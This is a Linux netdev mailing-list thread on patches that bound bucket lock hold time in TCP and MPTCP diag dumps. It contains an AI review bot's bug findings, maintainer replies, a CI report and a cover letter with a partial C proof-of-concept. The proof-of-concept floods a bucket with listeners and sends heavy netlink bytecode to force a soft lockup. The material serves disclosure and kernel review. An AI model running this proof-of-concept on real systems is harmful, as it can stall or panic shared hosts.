> > +++ b/include/linux/inet_diag.h
> > @@ -39,6 +39,7 @@ enum inet_diag_dump_cursor_type {
> >       INET_DIAG_DUMP_CURSOR_TCP_LISTEN,
> >       INET_DIAG_DUMP_CURSOR_TCP_BIND,
> >       INET_DIAG_DUMP_CURSOR_TCP_EHASH,
> > +     INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN,
> >  };
>
> [Severity: Low]
> Two questions about the changelog for this one.
>
> First, the message says the lock hold time "can therefore grow with the
> number of sockets visited", but it never states the observed symptom.  Was
> this a soft lockup, an RCU stall, or measured contention on ilb->lock?  Given
> the Fixes: 4fa39b701ce9 and Cc: stable tags plus the Reported-by:, could the
> symptom be spelled out?
>
> Second, could the backport dependency be mentioned?  enum
> inet_diag_dump_cursor_type does not exist in the tree this applies on top of:
>
>   git grep inet_diag_dump_cursor_type <base>   -> no match
>
> The whole enum, cb_data->dump_cursor, dump_cursor_slot, dump_cursor_type and
> inet_diag_dump_clear_cursor() come from the immediately preceding patch of
> this series, "tcp: diag: bound bucket lock hold in tcp_diag_dump()".  Stable
> trees carrying 4fa39b701ce9 cannot take this patch on its own, and nothing in
> the message says so.
>
> > diff --git a/net/mptcp/mptcp_diag.c b/net/mptcp/mptcp_diag.c
> > index 136c2d05c0eeb..37b33ea5d79de 100644
> > --- a/net/mptcp/mptcp_diag.c
> > +++ b/net/mptcp/mptcp_diag.c
> > @@ -12,6 +12,19 @@
> >  #include <net/netlink.h>
> >  #include "protocol.h"
> >
> > +/* Process a bounded number of listeners per bucket lock hold. */
> > +#define MPTCP_DIAG_BULK_SZ 16
> > +
> > +static void mptcp_diag_save_cursor(struct inet_diag_dump_data *cb_data,
> > +                                unsigned int slot, struct sock *sk)
> > +{
> > +     sock_hold(sk);
> > +     inet_diag_dump_clear_cursor(cb_data);
> > +     cb_data->dump_cursor = sk;
> > +     cb_data->dump_cursor_slot = slot;
> > +     cb_data->dump_cursor_type = INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN;
> > +}
> > +
>
> [ ... ]
>
> > @@ -84,64 +98,102 @@ static void mptcp_diag_dump_listeners(struct sk_buff *skb, struct netlink_callba
> >       hinfo = net->ipv4.tcp_death_row.hashinfo;
> >
> >       for (i = diag_ctx->l_slot; i <= hinfo->lhash2_mask; i++) {
> > +             struct sock *tmp, *sk, *sk_arr[MPTCP_DIAG_BULK_SZ];
> >               struct inet_listen_hashbucket *ilb;
> > +             int num_arr[MPTCP_DIAG_BULK_SZ];
> >               struct hlist_nulls_node *node;
> > -             struct sock *sk;
> > -             int num = 0;
> > +             int accum, idx, num, ret;
> > +             struct sock *cursor;
> > +             bool use_cursor;
> >
> > +resume_listen_walk:
> > +             num = 0;
> > +             accum = 0;
> >               ilb = &hinfo->lhash2[i];
> > +             ret = 0;
> >
> >               rcu_read_lock();
> >               spin_lock(&ilb->lock);
> > -             sk_nulls_for_each(sk, node, &ilb->nulls_head) {
> > -                     const struct mptcp_subflow_context *ctx = mptcp_subflow_ctx(sk);
> > -                     struct inet_sock *inet = inet_sk(sk);
> > -                     int ret;
> > -
> > -                     if (num < diag_ctx->l_num)
> > -                             goto next_listen;
> > -
> > -                     if (!ctx || strcmp(inet_csk(sk)->icsk_ulp_ops->name, "mptcp"))
> > -                             goto next_listen;
> > -
> > -                     sk = ctx->conn;
> > -                     if (!sk || !net_eq(sock_net(sk), net))
> > -                             goto next_listen;
> > -
> > -                     if (r->sdiag_family != AF_UNSPEC &&
> > -                         sk->sk_family != r->sdiag_family)
> > -                             goto next_listen;
> > -
> > -                     if (r->id.idiag_sport != inet->inet_sport &&
> > -                         r->id.idiag_sport)
> > +             cursor = cb_data->dump_cursor;
> > +             use_cursor = cursor &&
> > +                          cb_data->dump_cursor_type ==
> > +                          INET_DIAG_DUMP_CURSOR_MPTCP_LISTEN &&
> > +                          cb_data->dump_cursor_slot == i &&
> > +                          inet_sk_state_load(cursor) == TCP_LISTEN &&
> > +                          !hlist_nulls_unhashed(&cursor->sk_nulls_node) &&
> > +                          cursor->sk_nulls_node.pprev != LIST_POISON2 &&
> > +                          inet_lhash2_bucket_sk(hinfo, cursor) == ilb;
> > +             node = use_cursor ? cursor->sk_nulls_node.next :
> > +                                 ilb->nulls_head.first;
> > +             hlist_nulls_for_each_entry_from(sk, node, sk_nulls_node) {
> > +                     if (!use_cursor && num < diag_ctx->l_num)
> >                               goto next_listen;
>
> [Severity: Medium]
> Are the two resume mechanisms here using the same counting base for
> diag_ctx->l_num?
>
> This test counts entries from the bucket head, but at resume_listen_walk num
> is reset to 0 and, when use_cursor is true, the walk starts at
> cursor->sk_nulls_node.next, i.e. mid-bucket.  The values stashed in num_arr[]
> and later stored are therefore cursor-relative and bounded by 0..15:
>
>         if (ret >= 0) {
>                 ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
>                 if (ret < 0)
>                         num = num_arr[idx];
>         }
>         ...
>         if (ret < 0) {
>                 diag_ctx->l_slot = i;
>                 diag_ctx->l_num = num;
>                 return;
>         }
>
> Walking a bucket with more than 16 matching listeners:
>
>   batch 1: 16 listeners dumped, cursor saved on e15
>   goto resume_listen_walk with diag_ctx->l_num = 0, use_cursor true, so num
>     now counts from e16
>   skb fills at idx 5, so diag_ctx->l_num = 5 while the real bucket offset
>     is 21
>   the cursor socket is closed before the next recvmsg(), use_cursor becomes
>     false, and the walk resumes at bucket position 5
>
> Does that re-emit e5..e19, and, if entries were removed in the meantime and
> positions shifted, silently drop listeners that were never reported?
>
> The peer implementation of the same cursor protocol from the preceding patch,
> tcp_diag_dump(), zeroes the positional counter when the cursor is unusable:
>
>         node = use_cursor ? cursor->sk_nulls_node.next : ilb->nulls_head.first;
>         if (!use_cursor)
>                 s_num = 0;
>
> Should mptcp_diag_dump_listeners() do the same so the two bases are never
> mixed?  The intra-call restart also forces diag_ctx->l_num = 0 before goto
> resume_listen_walk, so a cursor invalidated between lock drops restarts the
> bucket at the head within a single dump call.
>
> >                       if (!refcount_inc_not_zero(&sk->sk_refcnt))
> >                               goto next_listen;
> >
> > -                     ret = sk_diag_dump(sk, skb, cb, r, net_admin);
> > -
> > -                     sock_put(sk);
> > -
> > -                     if (ret < 0) {
> > -                             spin_unlock(&ilb->lock);
> > -                             rcu_read_unlock();
> > -                             diag_ctx->l_slot = i;
> > -                             diag_ctx->l_num = num;
> > -                             return;
> > -                     }
> > -                     diag_ctx->l_num = num + 1;
> > -                     num = 0;
>
> [Severity: Medium]
> Removing this "l_num = num + 1; num = 0;" pair changes which listeners the
> dump reports, and the changelog does not mention it.
>
> In the pre-patch loop the skip test was "if (num < diag_ctx->l_num)" while
> num was reset to 0 after every successful dump and l_num kept growing, so for
> a bucket e0..e6 the emitted set was e0, e1, e3, e6:
>
>   e0 dumped -> l_num = 1, num = 0 then ++num = 1
>   e1 dumped -> l_num = 2, num = 1
>   e2 hits 1 < 2 and is skipped
>   e3 dumped -> l_num = 3
>   e4, e5 skipped
>
> The new code keeps num monotonic and applies the skip test only in the
> non-cursor fallback, so every collected listener is processed.  Is that the
> actual user-visible defect being fixed here?  ss -Ml output changes (more
> listeners reported) on any host with three or more MPTCP listeners hashing
> into the same lhash2 bucket, and this seems worth stating in the message,
> along with whether it belongs in the same patch as the lock-hold change.
>
> > +                     num_arr[accum] = num;
> > +                     sk_arr[accum] = sk;
> > +                     if (++accum == MPTCP_DIAG_BULK_SZ)
> > +                             break;
> >  next_listen:
> >                       ++num;
> >               }
> >               spin_unlock(&ilb->lock);
> >               rcu_read_unlock();
> >
> > +             for (idx = 0; idx < accum; idx++) {
> > +                     const struct mptcp_subflow_context *ctx;
> > +                     const struct tcp_ulp_ops *ulp_ops;
> > +                     struct inet_sock *inet;
> > +
> > +                     sk = sk_arr[idx];
> > +                     rcu_read_lock();
> > +                     ctx = rcu_dereference(inet_csk(sk)->icsk_ulp_data);
> > +                     ulp_ops = READ_ONCE(inet_csk(sk)->icsk_ulp_ops);
> > +                     inet = inet_sk(sk);
> > +                     tmp = ctx ? ctx->conn : NULL;
>
> [Severity: High]
> Can this read freed memory?  The rcu_read_lock() here is entered after
> spin_unlock(&ilb->lock) and rcu_read_unlock() above, so it cannot extend a
> grace period that already started.
>
> The collection loop only took sk_refcnt on the listener subflow, which does
> not keep the ULP context alive:
>
>   __tcp_close()
>     tcp_set_state(sk, TCP_CLOSE)
>     inet_unhash(sk)               /* takes ilb->lock, free once diag drops it */
>     inet_csk_destroy_sock()
>       sk->sk_prot->destroy(sk)
>         tcp_v4_destroy_sock()
>           tcp_cleanup_ulp()
>             subflow_ulp_release()
>
> and net/mptcp/subflow.c:subflow_ulp_release() drops the msk reference and
> frees the context:
>
>         sk = ctx->conn;
>         if (sk) {
>                 ...
>                 sock_put(sk);
>         }
>         mptcp_subflow_ops_undo_override(ssk);
>         if (release)
>                 kfree_rcu(ctx, rcu);
>
> net/ipv4/tcp_ulp.c:tcp_cleanup_ulp() clears only icsk_ulp_ops:
>
>         if (icsk->icsk_ulp_ops->release)
>                 icsk->icsk_ulp_ops->release(sk);
>         module_put(icsk->icsk_ulp_ops->owner);
>
>         icsk->icsk_ulp_ops = NULL;
>
> icsk_ulp_data is never unpublished on this path (subflow_ulp_fallback() does
> rcu_assign_pointer(icsk->icsk_ulp_data, NULL), this path does not).  If
> kfree_rcu(ctx) was queued before this loop iteration re-entered
> rcu_read_lock(), the grace period does not cover this reader, so
> rcu_dereference(inet_csk(sk)->icsk_ulp_data) can return a freed and reused
> slab object, and ctx->conn is dereferenced before the !ulp_ops guard is even
> evaluated.
>
> The loop is also preemptible for up to 15 preceding sk_diag_dump() /
> inet_diag_bc_sk() invocations with request-supplied bytecode, which widens the
> window.  Does the commit message claim ("After dropping the lock, read
> icsk_ulp_data with rcu_dereference()") hold here, or do ctx and the parent msk
> reference have to be acquired while ilb->lock is still held, as the pre-patch
> code did?
>
> [Severity: Low]
> Separately, is it intentional that ctx->conn is loaded before the check that
> the ULP is actually "mptcp"?  The collection loop under ilb->lock no longer
> filters by ULP at all, so listeners with a foreign ULP context now reach this
> loop, and the read happens at offsetof(struct mptcp_subflow_context, conn)
> inside an object of an unrelated type.
>
> net/xfrm/espintcp.c:espintcp_init_sk() publishes its own object with
> rcu_assign_pointer(icsk->icsk_ulp_data, ctx) and, unlike tls_init(), has no
> TCP-state restriction, so an unprivileged setsockopt(TCP_ULP, "espintcp")
> followed by listen() puts such a socket into lhash2.
>
> struct espintcp_ctx is larger than that offset today, so the read stays inside
> the allocation and the loaded value is discarded by the failing strcmp().
> Still, the pre-patch code did the strcmp() first and never touched a foreign
> context.  Could the ctx->conn load be moved after the ULP name check?
>
> > +                     if (!ctx || !ulp_ops || strcmp(ulp_ops->name, "mptcp") ||
> > +                         !tmp || !net_eq(sock_net(tmp), net) ||
> > +                         (r->sdiag_family != AF_UNSPEC &&
> > +                          tmp->sk_family != r->sdiag_family) ||
> > +                         (r->id.idiag_sport != inet->inet_sport &&
> > +                          r->id.idiag_sport) ||
> > +                         !refcount_inc_not_zero(&tmp->sk_refcnt)) {
> > +                             rcu_read_unlock();
> > +                             goto processed_listener_sk;
> > +                     }
> > +                     rcu_read_unlock();
> > +                     if (ret >= 0) {
> > +                             ret = sk_diag_dump(tmp, skb, cb, r, net_admin);
> > +                             if (ret < 0)
> > +                                     num = num_arr[idx];
> > +                     }
> > +                     sock_put(tmp);
>
> [Severity: Medium]
> Does this need a re-validation after refcount_inc_not_zero(&tmp->sk_refcnt)?
>
> All the identity and scoping checks on the parent msk (net_eq(sock_net(tmp),
> net), sdiag_family, idiag_sport) run before the reference is taken, and
> nothing is re-checked afterwards.  mptcp_prot uses SLAB_TYPESAFE_BY_RCU:
>
> net/mptcp/protocol.c:
>         .slab_flags     = SLAB_TYPESAFE_BY_RCU,
>
> so rcu_read_lock() only guarantees type stability, not identity.  If
> subflow_ulp_release() already dropped the last reference via
> sock_put(ctx->conn), the object can be recycled as a different MPTCP socket
> inside this reader's RCU section, refcount_inc_not_zero() then succeeds, and
> sk_diag_dump(tmp, ...) serializes that socket's addresses, ports, uid, cookie
> and state into the reply, possibly from another namespace.
>
> The in-tree pattern for this slab, net/mptcp/token.c:mptcp_token_get_sock(),
> re-checks after the acquisition:
>
>         if (!refcount_inc_not_zero(&sk->sk_refcnt))
>                 goto not_found;
>
>         if (READ_ONCE(msk->token) != token ||
>             !net_eq(sock_net(sk), net)) {
>
> Should the same re-check be done here?  Pre-patch the conn read and the msk
> refcount acquisition both happened under ilb->lock with the subflow still
> hashed, so the reference held by ctx was still alive.
>
> > +processed_listener_sk:
> > +                     if (ret >= 0)
> > +                             mptcp_diag_save_cursor(cb_data, i, sk);
> > +                     sock_put(sk);
> > +             }
> > +
> > +             if (ret < 0) {
> > +                     diag_ctx->l_slot = i;
> > +                     diag_ctx->l_num = num;
> > +                     return;
> > +             }
> > +
> >               cond_resched();
> > +
> > +             if (accum == MPTCP_DIAG_BULK_SZ) {
> > +                     diag_ctx->l_num = 0;
> > +                     goto resume_listen_walk;
> > +             }
> > +
> > +             inet_diag_dump_clear_cursor(cb_data);
> >               diag_ctx->l_num = 0;
> >       }
> >
> > +     inet_diag_dump_clear_cursor(cb_data);
> >       diag_ctx->l_num = 0;
> >       diag_ctx->l_slot = i;
> >  }
>
> --
> Sashiko AI review · https://netdev-ai.bots.linux.dev/sashiko/#/patchset/cover.1788248601.git.zihanx%40nebusec.ai

- UAF on icsk_ulp_data/ctx after dropping ilb->lock: valid
- mixing cursor-relative and absolute l_num: valid
- dropping "l_num = num + 1; num = 0" changes the reported set:
  valid as a behavior change, not a regression
- no re-check after msk refcount_inc_not_zero(): valid for the
  lockless path
- changelog/stable dependency on 0001: valid as documentation
- loading ctx->conn before the ULP name check: valid as ordering,
  not currently an OOB

Re: [PATCH net v2 2/2] mptcp: diag: bound listener bucket lock hold

[Eric Dumazet]

On Tue, Sep 1, 2026 at 2:54 PM Zihan Xi <zihanx@nebusec.ai> wrote:
>
> MPTCP listener diag dumping reuses sk_diag_dump(), which executes
> inet_diag_bc_sk() before filling the netlink reply. The listener walk in
> mptcp_diag_dump_listeners() currently performs that work while holding the
> listener bucket lock.
>
> The time spent under the listener bucket lock can therefore grow with the
> number of sockets visited and with per-socket dump work. The resume state
> also requires later batches to revisit the bucket prefix.
>
> Fix this by collecting only referenced listener sockets while holding the
> bucket lock. After dropping it, re-check the listener properties, obtain
> the parent MPTCP socket reference, and call sk_diag_dump(). Keep a
> referenced cursor so later batches resume after the previous listener
> instead of rescanning the bucket head. Validate a cursor against the
> current listener bucket and TCP_LISTEN state before resuming from it.
> After dropping the lock, read icsk_ulp_data with rcu_dereference().
>
> Fixes: 4fa39b701ce9 ("mptcp: listen diag dump support")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Assisted-by: Codex:gpt-5.4
> Signed-off-by: Zihan Xi <zihanx@nebusec.ai>

pw-bot: rejected

Please limit the complexity of filters.

Anyone needing complex filters will implement them in user space.

Re: [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths

[MPTCP CI]

Hi Zihan,

Thank you for your modifications, that's great!

Our CI did some validations and here is its report:

- KVM Validation: normal (except selftest_mptcp_join): Success! ✅
- KVM Validation: normal (only selftest_mptcp_join): Success! ✅
- KVM Validation: debug (except selftest_mptcp_join): Success! ✅
- KVM Validation: debug (only selftest_mptcp_join): Success! ✅
- KVM Validation: btf-normal (only bpftest_all): Success! ✅
- KVM Validation: btf-debug (only bpftest_all): Success! ✅
- Perf: 
- Task: https://github.com/multipath-tcp/mptcp_net-next/actions/runs/33511506538

Initiator: Patchew Applier
Commits: https://github.com/multipath-tcp/mptcp_net-next/commits/7e9e4886e6d2
Patchwork: https://patchwork.kernel.org/project/mptcp/list/?series=1155342


If there are some issues, you can reproduce them using the same environment as
the one used by the CI thanks to a docker image, e.g.:

    $ cd [kernel source code]
    $ docker run -v "${PWD}:${PWD}:rw" -w "${PWD}" --privileged --rm -it \
        --pull always mptcp/mptcp-upstream-virtme-docker:latest \
        auto-normal

For more details:

    https://github.com/multipath-tcp/mptcp-upstream-virtme-docker


Please note that despite all the efforts that have been already done to have a
stable tests suite when executed on a public CI like here, it is possible some
reported issues are not due to your modifications. Still, do not hesitate to
help us improve that ;-)

Cheers,
MPTCP GH Action bot
Bot operated by Matthieu Baerts (NGI0 Core)

Re: [PATCH net v2 0/2] tcp: diag: bound bucket lock hold in diag dump paths

[Kuniyuki Iwashima]

On Tue, Sep 1, 2026 at 5:53 AM Zihan Xi <zihanx@nebusec.ai> wrote:
>
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/ipv4/tcp_diag.c and
> net/mptcp/mptcp_diag.c. The bug is reachable by a
> non-root user via user and net namespace.
> Our testing did not identify any impact on other functionality.
>
> We will provide detailed information about the bug
> in this email, along with a PoC to trigger it.
>
> ---- details below ----
>
> Bug details:
>
> inet_diag TCP dumps currently execute request-supplied
> INET_DIAG_REQ_BYTECODE programs while still holding the listener, bind,
> or ehash bucket locks in tcp_diag_dump(). With a heavily populated
> bucket, the time spent under the same lock grows with both raw socket
> traversal and bytecode cost.
>
> The local listener reproducer creates four SO_REUSEPORT groups of 32768
> listeners each, 131072 sockets in total, and then issues a
> NETLINK_SOCK_DIAG dump request with 16380 INET_DIAG_BC_NOP instructions

Same feedback as v1.

tcp_diag_dump() is long enough, and I don't think that the "fix"
to avoid a long loop on *QEMU* due to an unreal setup is worth
300 LoC(hurn).




> followed by a failing INET_DIAG_BC_D_EQ test. This is a deliberately
> concentrated setup to make the lock scope observable; it is not intended
> to represent a typical deployment. Because every socket runs the full
> bytecode and none reaches the reply fill path, skb backpressure does not
> terminate the walk early.
> On the unfixed kernel, with local softlockup panic sysctls enabled, this
> makes the long bucket-locked section visible as a watchdog report and
> panic in inet_diag_bc_sk().
>
> The earlier batching fix direction was still too narrow: it only counted
> sockets that survived the cheap prefilters and reached the expensive dump
> path. An attacker can therefore populate one bucket with many sockets or
> listeners that fail the netns/family/port or MPTCP-specific prefilters,
> causing the same bucket lock to be scanned far past the 16-entry batch
> threshold before control is returned.
>
> The same root cause also exists in MPTCP listener dumping. The
> MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
> which runs inet_diag_bc_sk() before filling the netlink reply, while the
> listener bucket lock is still held.
>
> The inline reproducer and decoded crash log below cover the TCP watchdog
> path only. They are not an MPTCP crash reproduction. The crash log is the
> decoded output of `./scripts/decode_stacktrace.sh`, with source paths
> reduced to repository-relative file and line references for review. The
> MPTCP patch addresses the equivalent listener lock scope identified by
> code inspection and completed MPTCP listener stress tests. A separate
> MPTCP crash artifact is not included, because the fixed MPTCP run
> completed without a crash.
>
> This series fixes both sites by keeping bucket-locked sections limited to
> raw socket collection and lifetime pinning, and moving all filtering,
> inet_diag_bc_sk(), and socket filling work out of the locked regions so
> the batch limit applies to raw bucket traversal itself. For TCP listener,
> bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
> keep a referenced dump cursor so the next batch resumes after the
> previous socket instead of rescanning the bucket head under the same
> lock. A stored cursor is reused only after it is checked against the
> currently locked bucket. Listen and ehash resume also require the socket
> state to still belong to that table. Current-bucket membership is inferred
> from that state plus the recomputed hash slot. If the check fails,
> collection restarts from the bucket head with the same batch limit. That
> fallback can emit a socket more than once, but it does not move bytecode
> or fill work back under the bucket lock. Bind collection counts TIME_WAIT
> nodes toward the batch limit and restores them through tw_tb2.
>
> We also ran targeted cursor-resume stress tests on the fixed kernel. The
> TCP listener workload used 131072 listeners while a separate thread
> repeatedly removed and recreated listeners across listener buckets. Three
> runs completed in 17024.089 ms, 17217.245 ms, and 17180.322 ms, and the
> guest remained alive. With temporary kernel instrumentation, one run
> directly observed an invalid TCP listener cursor: the cursor was unhashed
> and its computed bucket differed from the bucket being scanned, after
> which the safe restart path completed normally.
>
> A corresponding MPTCP listener workload and a TCP bound-only close/rebind
> workload also completed without a crash, and the guest remained alive.
> Neither workload deterministically reached its instrumented invalid-cursor
> branch, and no crash artifact is claimed for either path.
>
> For ehash, a dedicated workload created 4096 loopback established TCP
> connections while a mutator replaced connection pairs concurrently. The
> TCPF_ALL inet_diag dump completed in 315.108 ms. No ehash invalid-cursor
> log, soft lockup, or panic was observed. These tests exercise the relevant
> mutation and resume paths, but do not claim deterministic scheduling of
> every race between two dump callbacks.
>
> The TCP patch uses two Fixes tags for the path-specific introductions:
> commit 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
> introduced the listener bucket spinlock, and commit 91051f003948
> ("tcp: Dump bound-only sockets in inet_diag.") introduced the bound-only
> path. The ehash dump already ran diagnostic work under the bucket lock
> before 7e3aab4a9cd7, which only converted that lock from read_lock_bh()
> to spin_lock_bh(), so that commit is not used as a Fixes tag. The MPTCP
> patch uses commit 4fa39b701ce9 ("mptcp: listen diag dump support").
>
> udp_diag and raw diag still run bytecode and fill under their own hash
> slot locks. Those locks are not the TCP listener, bind, or ehash locks,
> or the MPTCP listener lock, tightened by this series.
>
> Reproducer:
>
>     gcc -O2 -static -o poc poc.c
>     unshare -Urn ./poc
>
> This is not a packet-sequence or protocol-state reproducer. The trigger
> depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
> which packetdrill cannot express, so the PoC uses sockets and Netlink
> directly.
>
> To make the long bucket-locked section observable in the local QEMU
> run below, we enabled softlockup panic sysctls as guest root. The
> unshare command above uses the PoC defaults, which are:
>
>     ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
>
> The crash log reports UID: 0 because that process is the userns root
> created by unshare -Urn, after those sysctls were set as guest root.
> That UID does not by itself prove a host-unprivileged run. The inet_diag
> dump path itself is reachable from a user and net namespace.
>
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
>
> ------BEGIN poc.c------
> #define _GNU_SOURCE
>
> #include <arpa/inet.h>
> #include <errno.h>
> #include <linux/inet_diag.h>
> #include <linux/netlink.h>
> #include <linux/sock_diag.h>
> #include <linux/tcp.h>
> #include <sched.h>
> #include <stdbool.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/resource.h>
> #include <sys/socket.h>
> #include <sys/time.h>
> #include <time.h>
> #include <unistd.h>
>
> #ifndef SOL_TCP
> #define SOL_TCP 6
> #endif
>
> #ifndef TCP_LISTEN
> #define TCP_LISTEN 10
> #endif
>
> #define TCPF_LISTEN (1U << TCP_LISTEN)
>
> #ifndef TCP_BOUND_INACTIVE
> #define TCP_BOUND_INACTIVE 13
> #endif
> #ifndef TCPF_BOUND_INACTIVE
> #define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
> #endif
>
> #define DEFAULT_SOCKETS 32768U
> #define DEFAULT_NOPS 16380U
> #define DEFAULT_REPEAT 1U
> #define DEFAULT_GROUPS 4U
> #define DEFAULT_STRIDE 2048U
> #define DEFAULT_BASE_PORT 10000
> #define MAX_NOPS 16380U
> #define RECV_BUF_SIZE (1U << 20)
>
> struct options {
>         unsigned int sockets;
>         unsigned int nops;
>         unsigned int repeat;
>         unsigned int groups;
>         unsigned int stride;
>         unsigned int cpu;
>         bool cpu_set;
>         bool compare;
>         bool attack;
>         bool listen_mode;
>         int port;
> };
>
> static void usage(const char *prog)
> {
>         fprintf(stderr,
>                 "Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
>                 "          [--groups N] [--stride N] [--compare] [--no-attack]\n"
>                 "          [--listen | --bound]\n"
>                 "Defaults: --count %u --nops %u --repeat %u\n",
>                 prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
> }
>
> static long long timespec_delta_ns(const struct timespec *start,
>                                        const struct timespec *end)
> {
>         return (end->tv_sec - start->tv_sec) * 1000000000LL +
>                (end->tv_nsec - start->tv_nsec);
> }
>
> static int raise_nofile_limit(rlim_t needed)
> {
>         struct rlimit lim;
>
>         if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
>                 perror("getrlimit(RLIMIT_NOFILE)");
>                 return -1;
>         }
>
>         if (lim.rlim_cur >= needed)
>                 return 0;
>
>         if (lim.rlim_max < needed)
>                 needed = lim.rlim_max;
>
>         lim.rlim_cur = needed;
>         if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
>                 perror("setrlimit(RLIMIT_NOFILE)");
>                 return -1;
>         }
>
>         if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
>                 perror("getrlimit(RLIMIT_NOFILE)");
>                 return -1;
>         }
>
>         if (lim.rlim_cur < needed) {
>                 fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
>                         (unsigned long long)lim.rlim_cur,
>                         (unsigned long long)needed);
>                 return -1;
>         }
>
>         return 0;
> }
>
> static int pin_to_cpu(unsigned int cpu)
> {
>         cpu_set_t set;
>
>         CPU_ZERO(&set);
>         CPU_SET(cpu, &set);
>         if (sched_setaffinity(0, sizeof(set), &set) < 0) {
>                 perror("sched_setaffinity");
>                 return -1;
>         }
>
>         return 0;
> }
>
> static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
> {
>         struct sockaddr_in addr = {
>                 .sin_family = AF_INET,
>                 .sin_addr.s_addr = htonl(INADDR_ANY),
>         };
>         socklen_t addrlen = sizeof(addr);
>         int one = 1;
>         int fd;
>
>         fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
>         if (fd < 0) {
>                 perror("socket(AF_INET, SOCK_STREAM)");
>                 return -1;
>         }
>
>         if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
>                 perror("setsockopt(SO_REUSEADDR)");
>                 goto err;
>         }
>
>         if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
>                 perror("setsockopt(SO_REUSEPORT)");
>                 goto err;
>         }
>
>         addr.sin_port = htons(port);
>         if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
>                 perror("bind");
>                 goto err;
>         }
>
>         if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
>                 perror("getsockname");
>                 goto err;
>         }
>
>         if (listen_mode) {
>                 if (listen(fd, 0) < 0) {
>                         perror("listen");
>                         goto err;
>                 }
>         }
>
>         *bound_port = ntohs(addr.sin_port);
>         return fd;
>
> err:
>         close(fd);
>         return -1;
> }
>
> static int setup_sockets(bool listen_mode, unsigned int groups,
>                          unsigned int count_per_group, unsigned int stride,
>                          int requested_port, int **fds_out, int *port_out)
> {
>         int *fds;
>         unsigned int g, i;
>         unsigned int total = groups * count_per_group;
>         int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
>
>         fds = calloc(total, sizeof(*fds));
>         if (!fds) {
>                 perror("calloc(socket fds)");
>                 return -1;
>         }
>
>         for (g = 0; g < groups; g++) {
>                 int port = base_port + (int)(g * stride);
>
>                 if (port <= 0 || port > 65535) {
>                         fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
>                                 g, base_port, stride);
>                         goto err;
>                 }
>
>                 for (i = 0; i < count_per_group; i++) {
>                         unsigned int idx = g * count_per_group + i;
>                         int bound_port = port;
>                         int fd = create_socket_in_bucket(listen_mode, bound_port,
>                                                          &bound_port);
>
>                         if (fd < 0) {
>                                 fprintf(stderr,
>                                         "socket setup failed at group %u index %u (port %d)\n",
>                                         g, i, port);
>                                 goto err;
>                         }
>
>                         fds[idx] = fd;
>                         if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
>                                 printf("sockets_ready=%u group=%u port=%d mode=%s\n",
>                                        idx + 1, g + 1, port,
>                                        listen_mode ? "listen" : "bound");
>                         }
>                 }
>         }
>
>         *fds_out = fds;
>         *port_out = base_port;
>         return 0;
>
> err:
>         for (i = 0; i < total; i++) {
>                 if (fds[i] > 0)
>                         close(fds[i]);
>         }
>         free(fds);
>         return -1;
> }
>
> static void teardown_sockets(int *fds, unsigned int count)
> {
>         unsigned int i;
>
>         if (!fds)
>                 return;
>
>         for (i = 0; i < count; i++) {
>                 if (fds[i] >= 0)
>                         close(fds[i]);
>         }
>         free(fds);
> }
>
> static size_t build_request(void *buf, bool listen_mode, bool with_attack,
>                             unsigned int nops)
> {
>         size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
>         struct nlmsghdr *nlh = buf;
>         struct inet_diag_req_v2 *req;
>
>         memset(buf, 0, msg_len);
>         nlh->nlmsg_len = msg_len;
>         nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
>         nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
>         nlh->nlmsg_seq = 1;
>
>         req = NLMSG_DATA(nlh);
>         req->sdiag_family = AF_INET;
>         req->sdiag_protocol = IPPROTO_TCP;
>         req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
>         req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
>         req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
>
>         if (with_attack) {
>                 size_t payload_len = ((size_t)nops + 2U) *
>                                      sizeof(struct inet_diag_bc_op);
>                 size_t attr_len = NLA_HDRLEN + payload_len;
>                 struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
>                 struct inet_diag_bc_op *ops;
>                 unsigned int i;
>
>                 memset(nla, 0, NLA_ALIGN(attr_len));
>                 nla->nla_type = INET_DIAG_REQ_BYTECODE;
>                 nla->nla_len = attr_len;
>                 ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
>
>                 for (i = 0; i < nops; i++) {
>                         ops[i].code = INET_DIAG_BC_NOP;
>                         ops[i].yes = sizeof(struct inet_diag_bc_op);
>                         ops[i].no = 0;
>                 }
>
